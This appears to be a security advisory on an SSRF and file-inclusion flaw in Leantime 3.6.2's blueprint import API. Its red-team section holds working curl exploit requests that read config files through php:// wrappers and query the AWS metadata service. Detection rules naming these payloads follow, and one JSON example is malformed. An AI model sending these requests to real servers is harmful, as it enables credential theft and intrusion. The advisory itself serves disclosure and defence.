CVE-2026-66415

Executive Summary

CVE-2026-66415 identifies a critical Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI) vulnerability in Leantime 3.6.2. The flaw exists in the Blueprints::import() method, where unsanitized user-supplied filenames are passed directly to file_get_contents() without proper path validation. Authenticated attackers can exploit this via the JSON-RPC API endpoint to read arbitrary files from the server filesystem or access internal cloud metadata services. No CVSS vector has been assigned, but the impact is high given the ability to disclose sensitive internal resources. There is currently no public patch, and no known exploits are available in public databases.

This vulnerability is not related to any WordPress plugin or component; it is a standalone PHP application.

Supply Chain & Package Security

Leantime is a PHP application distributed via GitHub and Composer. The vulnerable version (3.6.2) may be pulled as a dependency in custom deployments. Organizations using Leantime should verify their version and apply any forthcoming security patches immediately. No known compromised packages in the dependency chain have been identified, but the use of file_get_contents() without input sanitization is a classic insecure coding practice.

CVSS Breakdown & Threat Level

Although no official CVSS vector has been published, the following reasonable assessment can be inferred:

• Attack Vector (AV): Network (N) – The JSON-RPC API is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required; simple crafted requests.
• Privileges Required (PR): Low (L) – Authentication is required to access the API.
• User Interaction (UI): None (N) – No chaining with user actions.
• Scope (S): Unchanged (U) – The vulnerable component is confined to the application itself.
• Confidentiality (C): High (H) – Attackers can read sensitive internal files (e.g., .env, configuration, cloud metadata).
• Integrity (I): None (N) – No write capability is described.
• Availability (A): None (N) – No denial-of-service impact.

Estimated CVSS:3.1 Score: 6.5 (Medium) – but actual impact depends on the sensitivity of accessible data.

Threat Level: High – due to the potential for credential leakage and enumeration of internal infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the Blueprints::import() method, likely located in /app/Domain/Blueprints/Services/Blueprints.php or similar. The method accepts a filename parameter via the JSON-RPC API (e.g., /api/json-rpc). The following pseudo-code illustrates the flawed logic:

public function import($filename) {
    $content = file_get_contents($filename); // No validation, no allowlist
    // ... process $content
}

An attacker can pass:

• Path traversal: ../../../../etc/passwd
• PHP wrappers: php://filter/convert.base64-encode/resource=config.php
• SSRF targets: http://169.254.169.254/latest/meta-data/ (AWS metadata)

The JSON-RPC request typically looks like:

{
    "method": "blueprints.import",
    "params": ["filename": "php://filter/convert.base64-encode/resource=../config.php"]
}

The application executes file_get_contents() on the attacker-controlled string, leading to information disclosure.

Vulnerable vs. Patched Code

Vulnerable (Leantime 3.6.2):

public function import($filename) {
    $content = file_get_contents($filename);
    // ...
}

Patched (Hypothetical fix):

public function import($filename) {
    // Validate against a whitelist of allowed paths
    $allowedDir = realpath(__DIR__ . '/../../storage/blueprints/');
    $cleanFilename = realpath($allowedDir . '/' . basename($filename));
    if (strpos($cleanFilename, $allowedDir) !== 0) {
        throw new \Exception('Invalid filename');
    }
    $content = file_get_contents($cleanFilename);
    // ...
}

No official patch has been released at the time of writing. Users should monitor the Leantime GitHub repository for updates.

Exploitation & Lab Setup

Red Team

Prerequisites:

• An authenticated session (username and password) to the Leantime instance.
• Access to the JSON-RPC endpoint (commonly /api/json-rpc).

Exploitation Steps:

1. Obtain a valid session cookie (e.g., PHPSESSID).
2. Send a crafted POST request to the JSON-RPC API:

curl -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: PHPSESSID=your_session_id" \
  -d '{"method":"blueprints.import","params":{"filename":"php://filter/convert.base64-encode/resource=../config/app.php"}}' \
  http://target.tld/api/json-rpc

3. The response will contain the base64-encoded contents of the requested file.

For SSRF (AWS metadata):

curl -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: ...." \
  -d '{"method":"blueprints.import","params":{"filename":"http://169.254.169.254/latest/meta-data/"}}' \
  http://target.tld/api/json-rpc

Expected output: The server returns the IAM role name, instance ID, etc.

Blue Team

Detection & Prevention:

• Monitor JSON-RPC API requests for suspicious filename parameters containing:
  • php:// wrappers
  • Path traversal patterns (../, ..\\)
  • URLs targeting internal IP ranges (169.254.0.0/16, 10.0.0.0/8, etc.)
• Implement egress filtering on the server to block outbound requests to non-essential destinations.
• Use Web Application Firewall (WAF) rules to block common SSRF/LFI payloads.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests from the Leantime server to internal IPs (e.g., 169.254.169.254) or cloud metadata endpoints.
• HTTP requests to /api/json-rpc with method=blueprints.import and a filename parameter containing php:// or file:// schemes.

File System IOCs:

• Abnormal file_get_contents() calls in PHP logs or debug traces.
• Unexpected file reads from protected paths (e.g., /etc/passwd, .env).

Log Patterns:

[2026-03-15T10:00:00+00:00] [info] Blueprints::import() called with filename: php://filter/convert.base64-encode/resource=../../config.php

Detection Engineering

YARA Rule

rule leantime_cve_2026_66415_lfi_ssrf
{
    meta:
        description = "Detects requests exploiting CVE-2026-66415 (SSRF/LFI) in Leantime"
        author = "Valters IT"
        date = "2026-03-15"
        cve = "CVE-2026-66415"
    strings:
        $json_method = /"method"\s*:\s*"blueprints\.import"/
        $filename_payload = /"filename"\s*:\s*"(php:\/\/|file:\/\/|http:\/\/|https:\/\/|\.\.|\/\/)/
    condition:
        $json_method and $filename_payload
}

Sigma Rule

title: Leantime CVE-2026-66415 SSRF/LFI via Blueprints.import
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects HTTP POST requests to Leantime JSON-RPC API with suspicious filename parameters
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method: POST
        http.url: "/api/json-rpc"
    keywords:
        - "blueprints.import"
        - "filename"
    suspicious:
        - "php://"
        - "file://"
        - "http://169.254"
        - "..%2f"
        - "..\\"
    condition: selection and suspicious
falsepositives:
    - Legitimate use of external file imports (if allowed by design)
level: high

Suricata Rule

alert tcp any any -> any $HTTP_PORTS (msg:"CVE-2026-66415 Leantime SSRF/LFI Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/json-rpc"; http_uri; content:"blueprints.import"; http_client_body; content:"filename"; http_client_body; pcre:"/(php:\/\/|file:\/\/|http:\/\/|https:\/\/|\.\.\/)/Ri"; classtype:web-attempt; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the Blueprints::import() functionality if not essential, or restrict access to the JSON-RPC API to trusted IPs only.
• Upgrade: Apply the official security patch as soon as it is released by Leantime (monitor GitHub).
• Code Fix: Implement strict input validation using allowlist-based filename verification (e.g., basename + realpath check).
• WAF Rules: Block requests containing php://, file://, or path traversal sequences in the filename parameter.
• Network Segmentation: Ensure the Leantime server cannot make outbound connections to internal networks (cloud metadata endpoints, internal services).
• Monitoring: Enable detailed logging for all JSON-RPC API calls and alert on unusual filename patterns.

Valters IT